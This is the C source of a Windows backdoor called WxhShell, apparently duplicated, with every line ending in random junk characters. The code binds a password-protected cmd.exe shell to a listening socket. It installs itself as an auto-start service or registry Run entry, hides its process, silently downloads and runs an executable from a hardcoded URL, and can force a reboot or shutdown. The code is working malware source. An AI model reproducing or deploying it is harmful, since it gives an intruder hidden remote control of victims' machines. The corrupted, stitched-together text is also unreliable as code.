  case 'd': { 2Z)4(,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kn}z gSO  
    if(Boot(SHUTDOWN)) 1"?]= j:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d ",(a Z  
    else { $Jp~\_X  
    closesocket(wsh); HY;9?KJ'  
    ExitThread(0); GRT] aw  
    } i5"5&r7r  
    break; := <0=JE#  
    } jY/ARBC}H  
  // 获取shell 537?9  
  case 's': { _ 5"+Dv  
    CmdShell(wsh); fN)x#?  
    closesocket(wsh); <~{du ?4n  
    ExitThread(0); oQT2S>cm^  
    break; {,?ss$L  
  } sWHyL(C@  
  // 退出 zrRFn `B  
  case 'x': { ZyI$M3{J  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); I{ ryD -!  
    CloseIt(wsh); &nY;=Hv`WY  
    break; L0Y0&;y|R  
    } B+] D5K  
  // 离开 =dzWmL<~8  
  case 'q': { nPFwPk8=M  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); m\ S\3n  
    closesocket(wsh); 19c@`?  
    WSACleanup(); w^q7n  
    exit(1); @;iXp>&&  
    break; q0&$7GH4  
        } =']3(6*  
  } 9b"MQ[B4#a  
  } yNCEz/4  
Kqg!,Sn|  
  // 提示信息 +G*JrwJ&=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); };,/0Fu  
} YoKs:e2/:  
  } L',mKOej  
5~H#(d<oZ  
  return; }%TPYc  
} ?o*I9[Z)  
9GU]l7C=z  
// shell模块句柄 X~oK[Nf'9  
int CmdShell(SOCKET sock) %lw! e  
{ upy\gkpnGO  
STARTUPINFO si; Bv6 K$4  
ZeroMemory(&si,sizeof(si)); 2% B'3>a  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k; ZxY"^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^oM|<";!?D  
PROCESS_INFORMATION ProcessInfo; x/ *-P b-_  
char cmdline[]="cmd"; m GjN_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U{@5*4  
  return 0; 9?<{_'  
} 2]cRXJ7h  
LR(-<"  
// 自身启动模式 . pzC5Ah  
int StartFromService(void) T>`74B:  
{ -7 U| a/  
typedef struct 47K1$3P  
{ IZ/m4~  
  DWORD ExitStatus; oU*45B`"  
  DWORD PebBaseAddress; lQ'GX9hN@  
  DWORD AffinityMask; Z?5V4F:f  
  DWORD BasePriority; A/7{oB:a  
  ULONG UniqueProcessId; #S]ER907  
  ULONG InheritedFromUniqueProcessId; 6( CDNMzj  
}   PROCESS_BASIC_INFORMATION; TS2ZF{m  
`-h8vj5uG  
PROCNTQSIP NtQueryInformationProcess; o1cErI&q"  
wMqX)}>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; anMF-x4/*q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Zwz&rIQpT  
hCjR&ZA  
  HANDLE             hProcess; /1mW|O>0  
  PROCESS_BASIC_INFORMATION pbi; }G4 z tiuG  
}XO K,Hw  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [Zei0O  
  if(NULL == hInst ) return 0; N ,8/Y  
Y2o?gug  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); tg]x0#@s  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mGp.3{j  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .A sv%p[W  
u/cg|]x&T  
  if (!NtQueryInformationProcess) return 0; Q8!) !r%  
i;LXu%3\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vVE2m=!v  
  if(!hProcess) return 0; x=ul&|^7D  
wr[,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *%{gYpn  
Ag{iq(X  
  CloseHandle(hProcess); .pvi!NnL-  
K+;e4_\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rE}%KsZ  
if(hProcess==NULL) return 0; ZI=%JU(  
 GB$;n?  
HMODULE hMod;  IiY/(N+J  
char procName[255]; gw, UQbnu  
unsigned long cbNeeded; O3I8k\`  
U}[I   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7;KwLT9  
N5a*7EJv+  
  CloseHandle(hProcess); E\Rhz]G(  
$0 vb^  
if(strstr(procName,"services")) return 1; // 以服务启动  o4|M0  
i_j[?.?X}  
  return 0; // 注册表启动 q WQ/ 'M  
} bD/~eIcWL  
z^'gx@YD*v  
// 主模块 /Mvf8v  
int StartWxhshell(LPSTR lpCmdLine) L*YynF  
{ ;M)QwF1  
  SOCKET wsl; 7Zlw^'q$:L  
BOOL val=TRUE; etTn_v  
  int port=0;  R}O_[  
  struct sockaddr_in door; ~_/(t'9  
vEJWFoeEFm  
  if(wscfg.ws_autoins) Install(); E*]bgD7V  
"N`[r iq{  
port=atoi(lpCmdLine); wOU_*uY@6'  
0yD9SJn  
if(port<=0) port=wscfg.ws_port; 3kybLOG  
=ALTUV3/q  
  WSADATA data; y*qVc E  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;U-jO &  
Gefne[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   E|iQc8gr&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Zy`m!]G]80  
  door.sin_family = AF_INET; 8WXQ Oo8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); RoPRQCE  
  door.sin_port = htons(port); Fld=5B^}  
pH9VTM.*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { EV]1ml k$  
closesocket(wsl); pFOx>u2`a  
return 1; Z?h~{Mg  
} ZOh`(})hy  
pM4 :#%V  
  if(listen(wsl,2) == INVALID_SOCKET) { |fK1/<sz#  
closesocket(wsl); %)1y AdG 8  
return 1; rC5 p-B%  
} "~sW"n(F_  
  Wxhshell(wsl); ekWD5,G  
  WSACleanup(); <^#,_o,!  
TM%| '^)  
return 0; =$'6(aDH  
^aItoJq  
} h4fJvOk|!  
p`olCp'  
// 以NT服务方式启动 lXW%FH6c+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u^^[Q2LDU}  
{ BC^ :=  
DWORD   status = 0; ?:Uv[|S#>  
  DWORD   specificError = 0xfffffff; {$0mwAOH "  
<cps2*'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; dqU~`b9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Sc]B#/~B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +}Dw3;W}m  
  serviceStatus.dwWin32ExitCode     = 0; xQ7l~O b  
  serviceStatus.dwServiceSpecificExitCode = 0; fDv2JdiU  
  serviceStatus.dwCheckPoint       = 0; IaSR;/  
  serviceStatus.dwWaitHint       = 0; <FV1Wz  
G#ZH.24Y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8W*%aOi5+  
  if (hServiceStatusHandle==0) return; 8{^kQ/]'|  
 dm\F  
status = GetLastError(); $*^7iT4q_t  
  if (status!=NO_ERROR) G/)O@Ugp  
{ 6AAz  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?1~`*LE  
    serviceStatus.dwCheckPoint       = 0; D+rxT: d  
    serviceStatus.dwWaitHint       = 0; bQg c8/  
    serviceStatus.dwWin32ExitCode     = status; t% d Z-Ym  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0yk]o5a++  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |mZxfI  
    return; 0"jY.*_EW  
  } xG~P+n7t5$  
ER%^!xA  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [_BP)e  
  serviceStatus.dwCheckPoint       = 0; d[iQ` YW5  
  serviceStatus.dwWaitHint       = 0; g|o,uD  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qU \w=  
} Q *D;U[  
qqjwJ!@P  
// 处理NT服务事件,比如:启动、停止 (p"%O  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ; 5*&xz  
{ )3cAQ'w  
switch(fdwControl) j`{?OYD  
{ 8SMxw~9$  
case SERVICE_CONTROL_STOP: {5Q!Y&N.%  
  serviceStatus.dwWin32ExitCode = 0; owVX*&b{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8?xE6  
  serviceStatus.dwCheckPoint   = 0; )W^F2-{  
  serviceStatus.dwWaitHint     = 0; ju8> :y8  
  { 1KU! tL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )v'WWwXY>  
  } l0|5t)jF-  
  return; LP.]9ut  
case SERVICE_CONTROL_PAUSE: .yoH/2h  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; k$n|*kCh  
  break; /J]5H  
case SERVICE_CONTROL_CONTINUE: 0Um2DjTCG  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; d-oMQGOklb  
  break; !Jo_"#5  
case SERVICE_CONTROL_INTERROGATE: ]vAz  
  break; t*p71U4+I  
}; tR# OjkvX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '+@=ILj>  
} akmkyrz'&  
#$.;'#u'so  
// 标准应用程序主函数 ]_)yIi"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) CXH&U@57{  
{ p/ ,=OaVU  
?e%ZOI  
// 获取操作系统版本 lt/1f{v[:  
OsIsNt=GetOsVer(); p'Y^ X  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [F+}V,  
'lH|eU&-  
  // 从命令行安装 Ugr!"Q#M  
  if(strpbrk(lpCmdLine,"iI")) Install(); % aP!hy  
0- B5`=yU  
  // 下载执行文件 9=s<Ld  
if(wscfg.ws_downexe) { ko!)s  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) kXViWOXU^  
  WinExec(wscfg.ws_filenam,SW_HIDE); EfqX y>W  
} [CY9^N  
&eJfGt5  
if(!OsIsNt) { pJ>P[  
// 如果时win9x,隐藏进程并且设置为注册表启动 &j;wCvE4+  
HideProc(); ez7A4>/  
StartWxhshell(lpCmdLine); 2_>N/Z4T  
} <;lkUU(WT2  
else [|v][Hwv  
  if(StartFromService()) \P[Y`LYL  
  // 以服务方式启动 VMZMG$C  
  StartServiceCtrlDispatcher(DispatchTable); sWhZby7  
else xH ]Ct~ md  
  // 普通方式启动 )L? P}$+  
  StartWxhshell(lpCmdLine); ,Co|-DYf}  
!M(xG%M-V  
return 0; [DuttFX^x  
} :'Vf g[Uq  
)705V|v  
Zj(AJ*r  
VG5i{1  0  
=========================================== _YRFet[,m  
z'Hw  
;[ZEDF5H  
j;zM{qu_  
/l3V3B7  
7^avpf)>  
" +L$Xv  
8|gIhpO?^  
#include <stdio.h> [+Iz@0q  
#include <string.h> Zpt\p7WQ  
#include <windows.h> Cp\6W[2+B  
#include <winsock2.h> poE0{HOU  
#include <winsvc.h> ~g91Pr   
#include <urlmon.h> #<fRE"v:Q  
ZtNN<7  
#pragma comment (lib, "Ws2_32.lib") (g]!J_Z"  
#pragma comment (lib, "urlmon.lib") 8\^R~K`sY  
Xg6Jh``  
#define MAX_USER   100 // 最大客户端连接数 JtE M,tK  
#define BUF_SOCK   200 // sock buffer G/E+L-N#`  
#define KEY_BUFF   255 // 输入 buffer }:zE< bK  
&C_j\7Dq  
#define REBOOT     0   // 重启  $c!p&  
#define SHUTDOWN   1   // 关机 A`%k:@  
U gat1Pz  
#define DEF_PORT   5000 // 监听端口 g&L!1<, p  
70?\ugxA  
#define REG_LEN     16   // 注册表键长度 Z-%\ <zT  
#define SVC_LEN     80   // NT服务名长度 ic:zsuEm  
G[PtkPSJ  
// 从dll定义API ScOK)nL"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 38B2|x  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4> K42m  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =jN.1}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )_90UwWpj  
zpn9,,~u  
// wxhshell配置信息 , >a&"V^k  
struct WSCFG { fgTg7 m  
  int ws_port;         // 监听端口 ^e,.  
  char ws_passstr[REG_LEN]; // 口令 RNk\.}m  
  int ws_autoins;       // 安装标记, 1=yes 0=no e+7"/icK  
  char ws_regname[REG_LEN]; // 注册表键名 (TtkFo'!U  
  char ws_svcname[REG_LEN]; // 服务名 NWESP U):w  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /8'NG6"H`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 K8|r&`X0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 q>_.[+6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no XSB"{H>&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6_o*y8s.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5vQHhwO50k  
s[>,X#7 y  
}; mthA4sz  
n&4N[Qlv,  
// default Wxhshell configuration CZwXTHe  
struct WSCFG wscfg={DEF_PORT, XX TL..  
    "xuhuanlingzhe", K!%+0)A  
    1, #lo6c;*m5  
    "Wxhshell", KfEx"94  
    "Wxhshell", Y1\}5k{>  
            "WxhShell Service", &&8x%Pml  
    "Wrsky Windows CmdShell Service", !qQl@j O  
    "Please Input Your Password: ", eS^7A}*wd-  
  1, |*xA 8&/  
  "http://www.wrsky.com/wxhshell.exe", L<cx:Vz  
  "Wxhshell.exe" k9R4Y\8P  
    }; NN{?z!  
tKuwpT1Qc  
// 消息定义模块 "S]0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9<?M8_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; oSKXt}sh  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2 RX;Ob_  
char *msg_ws_ext="\n\rExit."; }-{H  Y  
char *msg_ws_end="\n\rQuit."; 8NJqV+jn)t  
char *msg_ws_boot="\n\rReboot..."; oCv.Ln1;Z  
char *msg_ws_poff="\n\rShutdown..."; t>RY7C;PuS  
char *msg_ws_down="\n\rSave to "; C==hox7b  
k .;j  
char *msg_ws_err="\n\rErr!"; xIW3={b3  
char *msg_ws_ok="\n\rOK!"; sE<V5`Z=  
7aRi5  
char ExeFile[MAX_PATH]; !*&V- 4  
int nUser = 0; ?p{Nwl#  
HANDLE handles[MAX_USER]; 05#1w#i  
int OsIsNt; Y]_ruDIW  
1-uxC^u?|#  
SERVICE_STATUS       serviceStatus; 2,oKVm+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?=7 cF  
2zA4vZkbcw  
// 函数声明 :pY/-Cgv  
int Install(void); fw~Bza\e  
int Uninstall(void); (,\+tr8r8  
int DownloadFile(char *sURL, SOCKET wsh); `?rSlR@+[I  
int Boot(int flag); U}[d_f  
void HideProc(void); bH9kj/q\b  
int GetOsVer(void); |s(FLF-  
int Wxhshell(SOCKET wsl); W\,s:6iqz  
void TalkWithClient(void *cs); nHAS(  
int CmdShell(SOCKET sock); {]!mrAjD  
int StartFromService(void); i# /Jr=  
int StartWxhshell(LPSTR lpCmdLine); {lDd.Fn  
2]jn '4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); pj{`'; :g  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); XEp{VC@=  
]cWUZ{puRB  
// 数据结构和表定义 n)-$e4u2  
SERVICE_TABLE_ENTRY DispatchTable[] = {6|G@ ""O  
{ %XDc,AR[  
{wscfg.ws_svcname, NTServiceMain}, u%KTNa0  
{NULL, NULL} 'F3f+YD  
}; aiUY>M#|  
TER=*"!  
// 自我安装 (t K||*u  
int Install(void) 3S@7]Pg  
{ (`>+zT5aH  
  char svExeFile[MAX_PATH]; V7Lxfoa4  
  HKEY key; \ a<h/4#|  
  strcpy(svExeFile,ExeFile); (Z q/  
jD]~ AwRJ  
// 如果是win9x系统,修改注册表设为自启动 6I4\q.^qw  
if(!OsIsNt) { ::lKL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wu!59pL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r'r%w#=`t  
  RegCloseKey(key); :{v#'U/^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4jM Fr,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6 7.+ .2  
  RegCloseKey(key); (zYt NLoFx  
  return 0; {X+3;&@  
    } mHTXni<!  
  } ~ "H,/m%2o  
} {SPq$B_VR  
else { )p0^zv{  
l`{\"#4  
// 如果是NT以上系统,安装为系统服务 l"T44CL;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]=I@1B;_m  
if (schSCManager!=0) +F` S>U  
{ #e1>H1eU  
  SC_HANDLE schService = CreateService z&)A,ryW0  
  ( (!aNq(   
  schSCManager, T^t# c  
  wscfg.ws_svcname, drP=A~?&:  
  wscfg.ws_svcdisp, %QGC8Tz  
  SERVICE_ALL_ACCESS, KnQ*vM*VM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Jy:Qlx`  
  SERVICE_AUTO_START, gQg"j)  
  SERVICE_ERROR_NORMAL, py!|\00}  
  svExeFile, &MQmu,4  
  NULL, )h4 f\0  
  NULL, 5"@*?X K^  
  NULL, 0B/,/KX  
  NULL, Su7?;Oh/yI  
  NULL $\BE&4g  
  ); S>6 ~lb8G  
  if (schService!=0) L|:`^M+^w  
  {  .-c4wm}  
  CloseServiceHandle(schService); [Cz-i  
  CloseServiceHandle(schSCManager); Q5`*3h6p=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); kQSy+q  
  strcat(svExeFile,wscfg.ws_svcname); /QWvW=F2<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ay ;S4c/_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u@UMP@"#  
  RegCloseKey(key); .CABH,Po:  
  return 0; VcO0sa f`  
    } 61>.vT8P  
  } EStB#V^  
  CloseServiceHandle(schSCManager); mbxZL<ua  
} \BTODZ:h  
} zuad~%D<I  
T{.pM4Hd  
return 1; 9igiZmM  
} 4y?n [/M/  
u(>^3PJ+  
// 自我卸载 M*, -zGr  
int Uninstall(void) !qh]6%l  
{ ,{u yG:  
  HKEY key; '(f*2eE:  
.m,_N@,  
if(!OsIsNt) { @ $ ;q ;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]d0BN`*U.  
  RegDeleteValue(key,wscfg.ws_regname); ^R7lom.  
  RegCloseKey(key); ]I dk:et  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /wEhVR`=  
  RegDeleteValue(key,wscfg.ws_regname); Ys!82M$g  
  RegCloseKey(key); ^e_hLX\SW  
  return 0; x7&B$.>3  
  } @s;;O\  
}  EoR}Af  
} IqaT?+O\?r  
else { 3 *"WG O5  
XK3tgaH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); XkE`U5.  
if (schSCManager!=0) JV^=v@Z3  
{ rNWw?_H-H(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $oID(P  
  if (schService!=0) KE5kOU;  
  { q]ku5A\y  
  if(DeleteService(schService)!=0) { kW Ml  
  CloseServiceHandle(schService); EReZkvseC  
  CloseServiceHandle(schSCManager); (z {#Eq4  
  return 0; _LEK%  
  } mZS >O_E  
  CloseServiceHandle(schService); kX7C3qdmt  
  } WYm\)@  
  CloseServiceHandle(schSCManager); nLZTK&7}  
} pk$l+sNZ=  
} SumF  2  
OUPUixz2Z  
return 1; {l1.2!  
} ifMRryN4  
2>xF){`  
// 从指定url下载文件 np"\19^  
int DownloadFile(char *sURL, SOCKET wsh) X; \+<LE  
{ &ZlVWK~v  
  HRESULT hr; =vCY?I$P  
char seps[]= "/"; zII|9y  
char *token; SuJ aL-;  
char *file; u^ +7hkk  
char myURL[MAX_PATH]; VGy<")8D/  
char myFILE[MAX_PATH]; N]Y d9tn{  
~?Qe?hB  
strcpy(myURL,sURL); 9iIhte.  
  token=strtok(myURL,seps); Z*]9E^  
  while(token!=NULL) Cx@);4arj  
  { n`?aC|P2s  
    file=token; 1y@i}<9F  
  token=strtok(NULL,seps); ;40/yl3r3[  
  } Fx_z6a  
%A9NB!  
GetCurrentDirectory(MAX_PATH,myFILE); ]3],r?-tJ  
strcat(myFILE, "\\"); 0y'H~(  
strcat(myFILE, file); VX0 %a@ur  
  send(wsh,myFILE,strlen(myFILE),0); WTQ\PANAaR  
send(wsh,"...",3,0); 8`B3;Zmm  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); jP$a_hW  
  if(hr==S_OK) p SH=%u>  
return 0; Eak$u>Fd8c  
else Mlg0WrJ|2  
return 1;  L2[($l  
hc(#{]].  
} KEo ,m  
ky,(xT4  
// 系统电源模块 <SAzxo:I  
int Boot(int flag) *MFIV02[N  
{ 7?!d^$B  
  HANDLE hToken; ed{ -/l~j  
  TOKEN_PRIVILEGES tkp; 93 )sk/j  
zlSNfgO  
  if(OsIsNt) { bivuqKA  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4<w.8rR:A  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); JQ_sUYh~3  
    tkp.PrivilegeCount = 1; k<nZ+! M  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,GhS[VJjR  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,hm\   
if(flag==REBOOT) { YlJ@XpKM  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) CAig ]=2'  
  return 0; +6M}O[LP  
} HTv2#  
else { vFzRg5lH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `!3SF|x&  
  return 0; @|Cz-J;D  
} hn7# L  
  } >W=,j)MA  
  else { P+ 3G~Sr  
if(flag==REBOOT) { xf\C|@i  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) e9Wa<i 8  
  return 0; hE'-is@7  
} eH'av}  
else { 3)t.p>VgO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Fj8z  
  return 0; P-9)38`5  
} q"CVcLi9  
} \"w"$9o6  
T$)^gHS  
return 1; r..iko]T  
} L:$ ,v^2  
U*rcd-@  
// win9x进程隐藏模块 DD+7V@  
void HideProc(void) :DK {Vg6  
{ 8?B!2  
K e;E1S-~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "b~+;<}Q  
  if ( hKernel != NULL ) r Xt}6[S  
  { g>E LGG |Q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); TM__I\+Q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); n$A9_cHF7  
    FreeLibrary(hKernel); imhwY#D  
  } M!siK2  
58}U^IW  
return; U#7#aeI  
} p}}R-D&K  
x xHY+(m  
// 获取操作系统版本 '|6]_   
int GetOsVer(void) D=A&+6B@-  
{ XAD- 'i  
  OSVERSIONINFO winfo; Si4!R+4w  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #ZUI)9My@  
  GetVersionEx(&winfo); 4@+`q *  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) CCs%%U/=  
  return 1; NR$3%0 nC6  
  else ~TF:.8  
  return 0; ^2:p|:Bz!l  
} Y Vt% 0  
OR P\b  
// 客户端句柄模块 X~b X5b[P  
int Wxhshell(SOCKET wsl) CImWd.W9~  
{ `P@<3]  
  SOCKET wsh; Y,qI@n<  
  struct sockaddr_in client; hk;5w{t}}  
  DWORD myID; v4a8}G  
+qN>.y!Y  
  while(nUser<MAX_USER) ; }I:\P  
{ '0;l]/i.  
  int nSize=sizeof(client); ^ox=HNV  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @Z_x.Y6  
  if(wsh==INVALID_SOCKET) return 1; 0Uz"^xO["  
aL\PGdgO  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); L8@f-Kk  
if(handles[nUser]==0) c`)\Pb/O  
  closesocket(wsh); KWbI'}_z  
else MVpGWTH@F  
  nUser++; ~p6 V,Q  
  } EgEa1l!NSQ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dM.f]-g  
IV~>I-rd  
  return 0; +zqn<<9  
} 7uqzm  
B&M%I:i  
// 关闭 socket SBu"3ym  
void CloseIt(SOCKET wsh) $j%'{)gK  
{ L]|gZ&^  
closesocket(wsh); n1ZbRV  
nUser--; (!u~CZ;  
ExitThread(0); ^cC,.Fdw  
} ^ 'MT0j  
93>jr<A  
// 客户端请求句柄 *g"Nq+i@  
void TalkWithClient(void *cs) 1/B>XkCJ  
{ U7,e/?a  
|w~nVRb  
  SOCKET wsh=(SOCKET)cs; EmWn%eMN  
  char pwd[SVC_LEN]; AG nxYV"p  
  char cmd[KEY_BUFF]; f3l&3hC  
char chr[1]; P7bMIe  
int i,j; 5:[0z5Hww  
3Y4?CM&0v  
  while (nUser < MAX_USER) { k!j5tsiR  
0@0w+&*"@  
if(wscfg.ws_passstr) { 4&lv6`G `  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D(op)]8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GRIti9GD  
  //ZeroMemory(pwd,KEY_BUFF); H064BM  
      i=0; /|m2WxK)  
  while(i<SVC_LEN) { S&5&];Ag  
H\"sgoJ  
  // 设置超时 s*KhF'fN  
  fd_set FdRead; XAKs0*J>  
  struct timeval TimeOut; h]&GLb&<?  
  FD_ZERO(&FdRead); wD}l$ & +  
  FD_SET(wsh,&FdRead); .&iawz  
  TimeOut.tv_sec=8; a#(?P.6  
  TimeOut.tv_usec=0; 23eX;gL  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); BQHVQs   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); mkk6`,ov  
ITXa&5D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fSj5ZsO  
  pwd=chr[0]; 7vKK%H_P  
  if(chr[0]==0xd || chr[0]==0xa) { F@jZ ho  
  pwd=0; VR8-&N  
  break; V*;(kEqj  
  } GT.,  
  i++; np^N8$i:n  
    } dm0R[[7  
yx8z4*]kH  
  // 如果是非法用户,关闭 socket wo{gG?B  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `:fZ)$sY  
}  :A_@,Q  
,Ks8*;#r  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WM$ MPs  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l~q\3UKlt  
Y=?3 js?O  
while(1) { ;u ({\K  
=%K;X\NB  
  ZeroMemory(cmd,KEY_BUFF); zV37$Hb  
:gibfk]C  
      // 自动支持客户端 telnet标准   /)>3Nq4Zx  
  j=0; Ms#M+[a  
  while(j<KEY_BUFF) { "Qc7dRmSxm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1~_{$5[X?  
  cmd[j]=chr[0]; #$07:UJ  
  if(chr[0]==0xa || chr[0]==0xd) { B)g[3gQ  
  cmd[j]=0; N0Lw}@p  
  break; !dnH 7 "  
  } OU_gdp  
  j++; M#6W(|V/  
    } 7hcYD!DS  
<oV(7  
  // 下载文件 7M~K,E(7~  
  if(strstr(cmd,"http://")) { s WvBv  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,AFu C <  
  if(DownloadFile(cmd,wsh)) lIS-4QX1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); e{K 215  
  else )F>#*P  
